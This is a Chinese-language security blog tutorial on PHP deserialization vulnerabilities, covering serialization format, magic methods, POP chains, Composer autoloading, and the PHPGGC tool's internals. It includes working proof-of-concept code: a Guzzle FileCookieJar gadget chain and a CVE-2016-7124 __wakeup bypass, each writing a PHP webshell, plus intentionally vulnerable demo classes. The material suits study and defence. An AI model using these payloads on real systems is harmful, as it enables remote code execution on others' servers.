Lucifaer's Blog.

PHP反序列化漏洞

Word count: 5,463 / Reading time: 23 min
2017/07/19 Share

本篇文章为针对PHP反序列化漏洞的介绍与分析。

0x00 序列化的作用

  • (反)序列化给我们传递对象提供了一种简单的方法。
    • serialize()将一个对象转换成一个字符串
    • unserialize()将字符串还原为一个对象
  • 反序列化的数据本质上来说是没有危害的
  • 用户可控数据进行反序列化是存在危害的

可以看到,反序列化的危害,关键还是在于可控或不可控。

0x01 PHP序列化格式

1. 基础格式

  • boolean
    • b:;
    • b:1; // True
    • b:0; // False
  • integer
    • i:;
    • i:1; // 1
    • i:-3; // -3
  • double
    • d:;
    • d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)
  • NULL
    • N; //NULL
  • string
    • s::”“;
    • s:8:”INSOMNIA”; // “INSOMNIA”
  • array
    • a::{key, value pairs};
    • a:2:{s:4:”key1”;s:6:”value1”;s:6:”value2”;} // array(“key1” => “value1”, “key2” => “value2”)

2. 序列化举例

test.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test
{
private $flag = 'Inactive';
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}

我们来生成一下它的序列化字符串:

serialize.php

1
2
3
4
5
6
7
<?php
require "./test.php";

$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents('serialize.txt', $data);

代码不难懂,我们通过生成的序列化字符串,来细致的分析一下序列化的格式:

1
O:4:"test":1:{s:10:"testflag";s:6:"Active";}
1
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

3. 注意

这里有一个需要注意的地方,testflag明明是长度为8的字符串,为什么在序列化中显示其长度为10?

翻阅php官方文档我们可以找到答案:

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上’*’。这些前缀值在任一侧都有空字节。

所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节:

1
O:4:"test":1:{s:10:"%00test%00flag";s:6:"Active";}

4. 反序列化示例

unserialize.php

1
2
3
4
5
6
7
8
<?php

$filename = file_get_contents($filename);

$object = unserialize($filename);

var_dump($object->get_flag());
var_dump($object);

0x02 PHP(反)序列化有关的魔法函数

  • construct(), destruct()

    构造函数与析构函数

  • call(), callStatic()

    方法重载的两个函数

    • __call()是在对象上下文中调用不可访问的方法时触发
    • __callStatic()是在静态上下文中调用不可访问的方法时触发。
  • get(), set()

    • __get()用于从不可访问的属性读取数据。
    • __set()用于将数据写入不可访问的属性。
  • isset(), unset()

    • __isset()在不可访问的属性上调用isset()或empty()触发。
    • __unset()在不可访问的属性上使用unset()时触发。
  • sleep(), wakeup()
    • serialize()检查您的类是否具有魔术名sleep()的函数。如果是这样,该函数在任何序列化之前执行。它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。sleep()的预期用途是提交挂起的数据或执行类似的清理任务。此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。
    • unserialize()使用魔术名wakeup()检查函数的存在。如果存在,该功能可以重构对象可能具有的任何资源。wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。
  • __toString()

    • __toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。
  • __invoke()

    当脚本尝试将对象调用为函数时,调用__invoke()方法。

  • __set_state()

  • __clone()
  • __debugInfo()

0x03 PHP反序列化与POP链

1. 魔术方法与POP链

就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。
面向对象编程从一定程度上来说,就是完成类与类之间的调用。就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。在PHP中,“组件”就是这些魔术方法(__wakeup()__destruct)。

一些对我们来说有用的POP链方法:

  • 命令执行:
    • exec()
    • passthru()
    • popen()
    • system()
  • 文件操作:
    • file_put_contents()
    • file_get_contents()
    • unlink()

2. POP链demo

popdemo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class popdemo
{
private $data = "demo\n";
private $filename = './demo';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
}

public function save($filename)
{
file_put_contents($filename, $this->data);
}
}

上面的代码即完成了一个简单的POP链,若传入一个构造好的序列化字符串,则会完成写文件操作。

poc.php

1
2
3
4
<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));

pop_unserialize.php

1
2
3
<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));

表面看上去,我们完美的执行了代码的功能,那么我们改一下序列化代码,看一看效果:

改为:

1
2
O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack
";s:17:"popdemofilename";s:6:"./hack";}

便执行了我们想要执行的效果:

3. Autoloading与(反)序列化威胁

  • PHP只能unserialize()那些定义了的类
  • 传统的PHP要求应用程序导入每个类中的所有类文件,这样就意味着每个PHP文件需要一列长长的includerequire方法,而在当前主流的PHP框架中,都采用了Autoloading自动加载类来完成这样繁重的工作。
  • 在完善简化了类之间调用的功能的同时,也为序列化漏洞造成了便捷。

举个例子:

目录结构为下:

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class autoload
{
public static function load1($className)
{
if (is_file($className.'.php'))
{
require $className.'.php';
}
}

public static function load2($className)
{
if (is_file('./app/'.$className.'.php'))
{
require './app/'.$className.'.php';
}
}

public static function load3($className)
{
if (is_file('./lib/'.$className.'.php'))
{
require './lib/'.$className.'.php';
}
}
}

spl_autoload_register('autoload::load1()');
spl_autoload_register('autoload::load2()');
spl_autoload_register('autoload::load3()');

$test1 = new test1();
$test2 = new test2();
$test3 = new test3();

test1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class test1
{
private $test1_data = 'test1_data';
private $test1_filename = './test1_demo.txt';

public function __construct()
{
$this->save($this->test1_filename);
}

public function save($test1_filename)
{
file_put_contents($test1_filename, $this->test1_data);
}
}

其余的test2test3test1的内容类似。

运行一下index.php

可以看到已经自动加载类会自动寻找已经注册在其队列中的类,并在其被实例化的时候,执行相关的操作。

若想了解更多关于自动加载类的资料,请查阅spl_autoload_register

4. Composer与Autoloading

说到了Autoloader自动加载类,就不得不说一下Composer这个东西了。Composer是PHP用来管理依赖(dependency)关系的工具。你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。

经常搭建框架环境的同学应该对这个非常熟悉了,无论是搭建一个新的Laravel还是一个新的Symfony,安装步骤中总有一步是通过Composer来进行安装。

比如在安装Laravel的时候,执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境:

其中已经将环境所需的依赖库文件配置完毕,正是因为Composer与Autuoloading的有效结合,才构成了完整的POP数据流。

0x04 反序列化漏洞的挖掘

1. 概述

通过上面对Composer的介绍,我们可以看出,Composer所拉取的依赖库文件是一个框架的基础。

而Composer默认是从Packagist来下载依赖库的。

所以我们挖掘漏洞的思路就可以从依赖库文件入手。

目前总结出来两种大的趋势,还有一种猜想:

  1. 从可能存在漏洞的依赖库文件入手
  2. 从应用的代码框架的逻辑上入手
  3. 从PHP语言本身漏洞入手

接下来逐个的介绍一下。

2. 依赖库

以下这些依赖库,准确来说并不能说是依赖库的问题,只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。而引用这些依赖库的应用在引用时并没有完善的过滤,从而产生漏洞。

  • cartalyst/sentry
  • cartalyst/sentinel

寻找依赖库漏洞的方法,可以说是简单粗暴:

  • 首先在依赖库中使用RIPSgrep全局搜索__wakeup()__destruct()
  • 从最流行的库开始,跟进每个类,查看是否存在我们可以利用的组件(可被漏洞利用的操作)
  • 手动验证,并构建POP链
  • 利用易受攻击的方式部署应用程序和POP组件,通过自动加载类来生成poc及测试漏洞。

以下为一些存在可利用组件的依赖库:

  • 任意写
    • monolog/monolog(<1.11.0)
    • guzzlehttp/guzzle
    • guzzle/guzzle
  • 任意删除
    • swiftmailer/swiftmailer
  • 拒绝式服务(proc_terminate())
    • symfony/process

下面来举一个老外已经说过的经典例子,来具体的说一下过程。

例子

1. 寻找可能存在漏洞的应用

存在漏洞的应用:cartalyst/sentry

漏洞存在于:/src/Cartalyst/Sentry/Cookies/NativeCookie.php

1
2
3
4
5
6
7
8
     ...
public function getCookie()
{
...
return unserialize($_COOKIE[$this->getKey()]);
...
}
}

应用使用的库中的可利用的POP组件:guzzlehttp/guzzle

寻找POP组件的最好方式,就是直接看composer.json文件,该文件中写明了应用需要使用的库。

1
2
3
4
5
6
7
8
 {
"require": {
"cartalyst/sentry": "2.1.5",
"illuminate/database": "4.0.*",
"guzzlehttp/guzzle": "6.0.2",
"swiftmailer/swiftmailer": "5.4.1"
}
}

2. 寻找可以利用的POP组件

我们下载guzzlehttp/guzzle这个依赖库,并使用grep来搜索一下__destruct()__wakeup()

逐个看一下,在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件:

跟进看一下save方法:

存在一下代码,造成任意文件写操作:

1
if (false === file_put_contents($filename, $jsonStr))

注意到现在$filename可控,也就是文件名可控。同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的,且数组内容为$cookie->toArray(),也就是说如果我们可控$cookie->toArray()的值,我们就能控制文件内容。

如何找到$cookie呢?注意到前面

跟进父类,看到父类implements了CookieJarInterface

还有其中的toArray方法

很明显调用了其中的SetCookie的接口:

看一下目录结构:

所以定位到SetCookie.php:

可以看到,这里只是简单的返回了data数组的特定键值。

3. 手动验证,并构建POP链

首先我们先在vm中写一个composer.json文件:

1
2
3
4
5
{
"require": {
"guzzlehttp/guzzle": "6.0.2"
}
}

接下来安装Composer:

1
$ curl -sS https://getcomposer.org/installer | php

然后根据composer.json来安装依赖库:

1
$ php composer.phar install

接下来,我们根据上面的分析,来构造payload:

payload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

require __DIR__.'/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;

$obj = new FileCookieJar('./shell.php');

$payload = '<?php echo system($_POST[\'poc\']);?>';
$obj->setCookie(new SetCookie([
'Name' => 'lucifaer',
'Value' => 'test_poc',
'Domain' => $paylaod,
'Expires' => time()
]));

file_put_contents('./build_poc', serialize($obj));

我们执行完该脚本,看一下生成的脚本的内容:

我们再写一个反序列化的demo脚本:

1
2
3
<?php
require __DIR__.'/vendor/autoload.php';
unserialize(file_get_contents("./build_poc"));

运行后,完成任意文件写操作。至此,我们可以利用生成的序列化攻击向量来进行测试。

3. PHP语言本身漏洞

提到这一点就不得不说去年的CVE-2016-7124,同时具有代表性的漏洞即为SugarCRM v6.5.23 PHP反序列化对象注入

在这里我们就不多赘述SugarCRM的这个漏洞,我们来聊一聊CVE-2016-7124这个漏洞。

触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。

漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。

我们用一个demo来解释一下。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}

function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...\n";
}
}

$poc = $_GET['poc'];
if(!isset($poc))
{
show_source(__FILE__);
die();
}
$a = unserialize($poc);

代码很简单,但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。

根据cve-2016-7124我们可以构造一下我们的poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}

function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST[\'shell\']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...\n";
}
}

$a = new Test('shell');
$poc = serialize($a);
print($poc);

运行该脚本,我们就获得了我们poc

通上文所说道的,在这里需要改两个地方:

  • 将1改为大于1的任何整数
  • Testpoc改为%00Test%00poc

传入修改后的poc,即可看到:

写文件操作执行成功。

0x05 拓展思路

1. 抛砖引玉——魔法函数可能造成的威胁

刚刚想到这一点的时候准备好好研究一下,没想到p师傅第二天小密圈就放出来这个话题了。接下来顺着这个思路,我们向下深挖一下。

__toString()

经过上面的总结,我们不难看出,PHP中反序列化导致的漏洞中,除了利用PHP本身的漏洞以外,我们通常会寻找__destruct__wakeup__toString等方法,看看这些方法中是否有可利用的代码。

而由于惯性思维,__toString常常被漏洞挖掘者忽略。其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞。

__toString触发条件:

  • echo ($obj) / print($obj) 打印时会触发
  • 字符串连接时
  • 格式化字符串时
  • 与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
  • 格式化SQL语句,绑定参数时
  • 数组中有字符串时

我们来写一个demo看一下

toString_demo.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

class toString_demo
{
private $test1 = 'test1';

public function __construct($test)
{
$this->test1 = $test;
}

public function __destruct()
{
// TODO: Implement __destruct() method.
print "__destruct:";
print $this->test1;
print "\n";
}

public function __wakeup()
{
// TODO: Implement __wakeup() method.
print "__wakeup:";
$this->test1 = "wakeup";
print $this->test1."\n";
}

public function __toString()
{
// TODO: Implement __toString() method.
print "__toString:";
$this->test1 = "tosTRING";
return $this->test1."\n";
}
}

$a = new toString_demo("demo");
$b = serialize($a);
$c = unserialize($b);

//print "\n".$a."\n";
//print $b."\n";
print $c;

执行结果为下:

通过上面的测试,可以总结以下几点:

  • echo ($obj) / print($obj) 打印时会触发
  • __wakeup的优先级>__toString>__destruct
  • 每执行完一个魔法函数,

接下来从两个方面继续来深入:

  • 字符串操作
  • 魔术函数的优先级可能造成的变量覆盖

字符串操作

  • 字符串拼接:

    在字符串与反序列化后的对象与字符串进行字符串拼接时,会触发__toString方法。

  • 字符串函数:

    经过测试,当反序列化后的最想在经过php字符串函数时,都会执行__toString方法,从这一点我们就可以看出,__toString所可能造成的安全隐患。

    下面举几个常见的函数作为例子(所使用的类还是上面给出的toString_demo类):

数组操作

将反序列化后的对象加入到数组中,并不会触发__toString方法:

但是在in_array()方法中,在数组中有__toString返回的字符串的时候__toString会被调用:

class_exists

in_array()方法中,我们又有了拓展性的想法。我们都知道,在php底层,类似于in_array()这类函数,都属于先执行,之后返回判断结果。那么顺着这个想法,我想到了去年的IPS Community Suite <= 4.1.12.3 Autoloaded PHP远程代码执行漏洞,这个漏洞中有一个非常有意思的触发点,就是通过class_exists造成相关类的调用,从而触发漏洞。

通过测试,我们发现了,如果将反序列化后的对象带入class_exists()方法中,同样会造成__toString的执行:

2. 猜想——对象处理过程可能出现的威胁

通过class_exists可能触发的危险操作,继续向下想一下,是否在对象处理过程中也有可能存在漏洞呢?

还记的去年爆出了一个PHP GC算法和反序列化机制释放后重用漏洞,是垃圾回收机制本身所出现的问题,在释放与重用的过程中存在的问题。

顺着这个思路,大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。

0x06 PHPggc

在0x04的第二节中,我们提到了cms在引用某些依赖库时,可能存在(反)序列化漏洞。那么是否有工具可以生成这些通用型漏洞的测试向量呢?

当然是存在的。在github上我们找到了PHPggc这个工具,它可以快速的生成主流框架的序列化测试向量。

关于该测试框架的一点简单的分析

1. 目录结构

目录结构为下:

1
2
3
4
5
|- phpggc 
|-- gadgetchains // 相应框架存在漏洞的类以及漏洞利用代码
|-- lib // 框架调度及核心代码
|-- phpggc // 入口
|-- README.md

2. 框架运行流程

首先,入口文件为phpggc,直接跟进lib/PHPGGC.php框架核心文件。

__construct中完成了当前文件完整路径的获取,以及定义自动加载函数,以实现对于下面的类的实例化操作。

关键的操作为:

1
$this->gadgets = $this->get_gadget_chains();

可以跟进代码看一看,其完成了对于所有payload的加载及保存,将所有的payload进行实例化,并保存在一个全局数组中,以方便调用。

可以动态跟进,看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function get_gadget_chains()
{
$this->include_gadget_chains();

$classes = get_declared_classes();
$classes = array_filter($classes, function($class)
{
return is_subclass_of($class, '\\PHPGGC\\GadgetChain') &&
strpos($class, 'GadgetChain\\') === 0;
});
$objects = array_map(function($class)
{
return new $class();
}, $classes);

# Convert backslashes in classes names to forward slashes,
# so that the command line is easier to use
$classes = array_map(function($class)
{
return strtolower(str_replace('\\', '/', $class));
}, $classes);
return array_combine($classes, $objects);
}

跟进include_gadget_chains方法中看一下:

1
2
3
4
5
6
7
8
9
protected function include_gadget_chains()
{
$base = $this->base . self::DIR_GADGETCHAINS;
$files = glob($base . '/*/*/*/chain.php');
array_map(function ($file)
{
include_once $file;
}, $files);
}

在这边首先获取到当前路径,之后从根目录将其下子目录中的所有chain.php遍历一下,将其路劲存储到$files数组中。接着将数组中的所有chain.php包含一遍,保证之后的调用。

回到get_gadget_chains接着向下看,将返回所有已定义类的名字所组成的数组,将其定义为$classes,接着将是PHPGGC\GadgetChain子类的类,全部筛选出来(也就是将所有的payload筛选出来),并将其实例化,在其完成格式化后,返回一个由其名与实例化后的类所组成的键值数组。

到此,完成了最基本框架加载与类的实例化准备。

跟着运行流程,看到generate方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function generate()
{
global $argv;

$parameters = $this->parse_cmdline($argv);

if(count($parameters) < 1)
{
$this->help();
return;
}

$class = array_shift($parameters);
$gc = $this->get_gadget_chain($class);

$parameters = $this->get_type_parameters($gc, $parameters);
$generated = $this->serialize($gc, $parameters);

print($generated . "\n");
}

代码很简单,一步一步跟着看,首先parse_cmdline完成了对于所选模块及附加参数的解析。

接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。

举个例子,比如我们输入如下:

1
$ ./phpggc monolog/rce1 'phpinfo();'

当前的$classmonolog/rce1,看到接下来进入了get_gadget_chain方法中,带着我们参数跟进去看。

1
2
3
4
5
6
7
8
9
10
11
public function get_gadget_chain($class)
{
$full = strtolower('GadgetChain/' . $class);

if(!in_array($full, array_keys($this->gadgets)))
{
throw new PHPGGC\Exception('Unknown gadget chain: ' . $class);
}

return $this->gadgets[$full];
}

现在的$fullgadgetchain/monolog/rce1,ok,看一下我们全局存储的具有payload的数组:

可以很清楚的看到,返回了一个已经实例化完成的GadgetChain\Monolog\RCE1的类。对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php

继续向下,看到将类与参数传入了get_type_parameters,跟进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
protected function get_type_parameters($gc, $parameters)
{
$arguments = $gc->parameters;

$values = @array_combine($arguments, $parameters);

if($values === false)
{
$this->o($gc, 2);
$arguments = array_map(function ($a) {
return '<' . $a . '>';
}, $arguments);
$message = 'Invalid arguments for type "' . $gc->type . '" ' . "\n" .
$this->_get_command_line($gc->get_name(), ...$arguments);
throw new PHPGGC\Exception($message);
}

return $values;
}

其完成的操作对你想要执行或者写入的代码进行装配,即code标志位与你输入的RCE代码进行键值匹配。若未填写代码,则返回错误,成功则返回相应的数组以便进行payload的序列化。

看完了这个模块后,再看我们最后的一个模块:将RCE代码进行序列化,完成payload的生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function serialize($gc, $parameters)
{
$gc->load_gadgets();

$parameters = $gc->pre_process($parameters);
$payload = $gc->generate($parameters);
$payload = $this->wrap($payload);

$serialized = serialize($payload);

$serialized = $gc->post_process($serialized);
$serialized = $this->apply_filters($serialized);

return $serialized;
}

0x07 结语

关于PHP(反)序列化漏洞的触发和利用所涉及的东西还有很多,本文只是做一个概括性的描述,抛砖引玉,如有不精确的地方,望大家给予更正。

0x08 参考资料

  1. Practical PHP Object Injection
  2. SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析
  3. CVE-2016-7124
  4. PHPGGC
  5. 关于PHP中的自动加载类
  6. Phith0n小密圈的主题
CATALOG
  1. 1. 0x00 序列化的作用
  2. 2. 0x01 PHP序列化格式
    1. 2.1. 1. 基础格式
    2. 2.2. 2. 序列化举例
    3. 2.3. 3. 注意
    4. 2.4. 4. 反序列化示例
  3. 3. 0x02 PHP(反)序列化有关的魔法函数
  4. 4. 0x03 PHP反序列化与POP链
    1. 4.1. 1. 魔术方法与POP链
    2. 4.2. 2. POP链demo
    3. 4.3. 3. Autoloading与(反)序列化威胁
    4. 4.4. 4. Composer与Autoloading
  5. 5. 0x04 反序列化漏洞的挖掘
    1. 5.1. 1. 概述
    2. 5.2. 2. 依赖库
      1. 5.2.1. 例子
        1. 5.2.1.1. 1. 寻找可能存在漏洞的应用
        2. 5.2.1.2. 2. 寻找可以利用的POP组件
        3. 5.2.1.3. 3. 手动验证,并构建POP链
    3. 5.3. 3. PHP语言本身漏洞
      1. 5.3.1. 例子
  6. 6. 0x05 拓展思路
    1. 6.1. 1. 抛砖引玉——魔法函数可能造成的威胁
      1. 6.1.1. __toString()
        1. 6.1.1.1. 字符串操作
        2. 6.1.1.2. 数组操作
        3. 6.1.1.3. class_exists
    2. 6.2. 2. 猜想——对象处理过程可能出现的威胁
  7. 7. 0x06 PHPggc
    1. 7.1. 关于该测试框架的一点简单的分析
      1. 7.1.1. 1. 目录结构
      2. 7.1.2. 2. 框架运行流程
  8. 8. 0x07 结语
  9. 9. 0x08 参考资料